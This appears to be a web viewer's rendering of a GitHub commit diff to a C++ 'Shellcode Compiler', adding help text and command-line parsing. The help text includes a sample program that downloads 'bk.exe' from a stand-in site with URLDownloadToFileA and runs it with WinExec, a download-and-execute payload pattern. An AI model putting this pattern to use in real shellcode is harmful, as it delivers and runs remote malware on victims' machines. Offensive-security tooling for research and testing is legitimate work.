| FazBrowse GitHub Viewer | Trending | | Home |
| Tools: [Download Repo ZIP] [Original HTTPS Page] |
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -10,6 +10,10 @@ | |||
| 10 | 10 | ||
| 11 | 11 | using namespace std; | |
| 12 | 12 | ||
| 13 | + // Program version | ||
| 14 | + | ||
| 15 | + #define PROGRAM_VERSION "v0.1 Alpha" | ||
| 16 | + | ||
| 13 | 17 | // Special characters | |
| 14 | 18 | ||
| 15 | 19 | #define CHR_READ_ALPHANUMSTR '\x01' | |
@@ -1079,16 +1083,137 @@ void CompileAllData(string p_sOutput) | |||
| 1079 | 1083 | } | |
| 1080 | 1084 | } | |
| 1081 | 1085 | ||
| 1086 | + // Print help | ||
| 1087 | + | ||
| 1088 | + void PrintHelp(string p_sFile) | ||
| 1089 | + { | ||
| 1090 | + cout << endl; | ||
| 1091 | + cout << "Shellcode Compiler " << PROGRAM_VERSION << endl; | ||
| 1092 | + cout << "Ionut Popescu @ SecureWorks" << endl << endl;; | ||
| 1093 | + cout << "Command line options " << endl; | ||
| 1094 | + cout << "--------------------" << endl; | ||
| 1095 | + | ||
| 1096 | + cout << "\t-h (--help) : Show this help message" << endl; | ||
| 1097 | + cout << "\t-v (--verbose) : Print detailed output" << endl; | ||
| 1098 | + cout << "\t-t (--test) : Test (execute) generated shellcode" << endl; | ||
| 1099 | + cout << "\t-r (--read) : Read source code file" << endl; | ||
| 1100 | + cout << "\t-o (--output) : Output file of the generated binary shellcode" << endl; | ||
| 1101 | + cout << "\t-a (--assembbly) : Output file of the generated assembly code" << endl << endl; | ||
| 1102 | + | ||
| 1103 | + cout << "Source code example" << endl; | ||
| 1104 | + cout << "-------------------" << endl << endl; | ||
| 1105 | + cout << "\tfunction URLDownloadToFileA(\"urlmon.dll\");" << endl; | ||
| 1106 | + cout << "\tfunction WinExec(\"kernel32.dll\");" << endl; | ||
| 1107 | + cout << "\tfunction ExitProcess(\"kernel32.dll\");" << endl << endl; | ||
| 1108 | + cout << "\tURLDownloadToFileA(0,\"https://site.com/bk.exe\",\"bk.exe\",0,0);" << endl; | ||
| 1109 | + cout << "\tWinExec(\"bk.exe\",0);" << endl; | ||
| 1110 | + cout << "\tExitProcess(0);" << endl << endl; | ||
| 1111 | + | ||
| 1112 | + cout << "Invocation example" << endl; | ||
| 1113 | + cout << "------------------" << endl; | ||
| 1114 | + cout << "\t" << p_sFile << " -r Source.txt -o Shellcode.bin -a Assembly.asm" << endl; | ||
| 1115 | + } | ||
| 1116 | + | ||
| 1117 | + // Global variable for command line arguments | ||
| 1118 | + | ||
| 1119 | + bool g_bHelp = false; | ||
| 1120 | + bool g_bVerbose = false; | ||
| 1121 | + bool g_bTest = false; | ||
| 1122 | + bool bError = false; | ||
| 1123 | + | ||
| 1124 | + bool g_bReadFile = false; | ||
| 1125 | + string g_sReadFile = ""; | ||
| 1126 | + bool g_bOutputFile = false; | ||
| 1127 | + string g_sOutputFile = ""; | ||
| 1128 | + bool g_bASMFile = false; | ||
| 1129 | + string g_sASMFile = ""; | ||
| 1130 | + | ||
| 1131 | + // Parse command line arguments | ||
| 1132 | + | ||
| 1133 | + void ParseCommandLine(int argc, char *argv[]) | ||
| 1134 | + { | ||
| 1135 | + string CurrentParam; | ||
| 1136 | + string NextParam; | ||
| 1137 | + | ||
| 1138 | + // Check arguments | ||
| 1139 | + | ||
| 1140 | + for (int i = 1; i < argc; i++) | ||
| 1141 | + { | ||
| 1142 | + CurrentParam = argv[i]; | ||
| 1143 | + if (i + 1 < argc) NextParam = argv[i + 1]; | ||
| 1144 | + else NextParam = ""; | ||
| 1145 | + | ||
| 1146 | + // Check options | ||
| 1147 | + | ||
| 1148 | + if (CurrentParam.compare("-h") == 0 || CurrentParam.compare("--help") == 0) g_bHelp = true; | ||
| 1149 | + else if (CurrentParam.compare("-v") == 0 || CurrentParam.compare("--verbose") == 0) g_bVerbose = true; | ||
| 1150 | + else if (CurrentParam.compare("-t") == 0 || CurrentParam.compare("--test") == 0) g_bTest = true; | ||
| 1151 | + | ||
| 1152 | + // Arguments that require an option as a second argument | ||
| 1153 | + | ||
| 1154 | + else if (CurrentParam.compare("-r") == 0 || CurrentParam.compare("--read") == 0) | ||
| 1155 | + { | ||
| 1156 | + g_bReadFile = true; | ||
| 1157 | + if (NextParam.length() > 0) g_sReadFile = NextParam; | ||
| 1158 | + else | ||
| 1159 | + { | ||
| 1160 | + bError = true; | ||
| 1161 | + cout << endl << "Missing required value for -r argument" << endl; | ||
| 1162 | + } | ||
| 1163 | + } | ||
| 1164 | + else if (CurrentParam.compare("-o") == 0 || CurrentParam.compare("--output") == 0) | ||
| 1165 | + { | ||
| 1166 | + g_bOutputFile = true; | ||
| 1167 | + if (NextParam.length() > 0) g_sOutputFile = NextParam; | ||
| 1168 | + else | ||
| 1169 | + { | ||
| 1170 | + bError = true; | ||
| 1171 | + cout << endl << "Missing required value for -o argument" << endl; | ||
| 1172 | + } | ||
| 1173 | + } | ||
| 1174 | + else if (CurrentParam.compare("-a") == 0 || CurrentParam.compare("--assembly") == 0) | ||
| 1175 | + { | ||
| 1176 | + g_bASMFile = true; | ||
| 1177 | + if (NextParam.length() > 0) g_sASMFile = NextParam; | ||
| 1178 | + else | ||
| 1179 | + { | ||
| 1180 | + bError = true; | ||
| 1181 | + cout << endl << "Missing required value for -a argument" << endl; | ||
| 1182 | + } | ||
| 1183 | + } | ||
| 1184 | + } | ||
| 1185 | + | ||
| 1186 | + // Check for errors | ||
| 1187 | + | ||
| 1188 | + if (bError == true) | ||
| 1189 | + { | ||
| 1190 | + cout << "Cannot compile, check command line arguments!" << endl; | ||
| 1191 | + return; | ||
| 1192 | + } | ||
| 1193 | + } | ||
| 1194 | + | ||
| 1082 | 1195 | // Main | |
| 1083 | 1196 | ||
| 1084 | - int main() | ||
| 1197 | + int main(int argc, char *argv[]) | ||
| 1085 | 1198 | { | |
| 1199 | + // If there is no argument, print help | ||
| 1200 | + | ||
| 1201 | + if (argc == 1) | ||
| 1202 | + { | ||
| 1203 | + PrintHelp(argv[0]); | ||
| 1204 | + return 0; | ||
| 1205 | + } | ||
| 1206 | + | ||
| 1086 | 1207 | InitDLLBase(); | |
| 1087 | 1208 | CreateDeclareFunctionsStates(); | |
| 1088 | 1209 | CreateCallFunctionsStates(); | |
| 1089 | 1210 | ||
| 1090 | - ParseFile(ReadSourceFile("C:\\Users\\Ionut\\Desktop\\SC1.txt")); | ||
| 1091 | - CompileAllData("C:\\Users\\Ionut\\Desktop\\Outpit.asm"); | ||
| 1211 | + // Parse command line arguments | ||
| 1212 | + | ||
| 1213 | + ParseCommandLine(argc, argv); | ||
| 1214 | + | ||
| 1215 | + //ParseFile(ReadSourceFile("C:\\Users\\Ionut\\Desktop\\SC1.txt")); | ||
| 1216 | + //CompileAllData("C:\\Users\\Ionut\\Desktop\\Output.asm"); | ||
| 1092 | 1217 | ||
| 1093 | 1218 | int x; | |
| 1094 | 1219 | cin >> x; | |
| Back | FazBrowse Home | New Git URL |
0 commit comments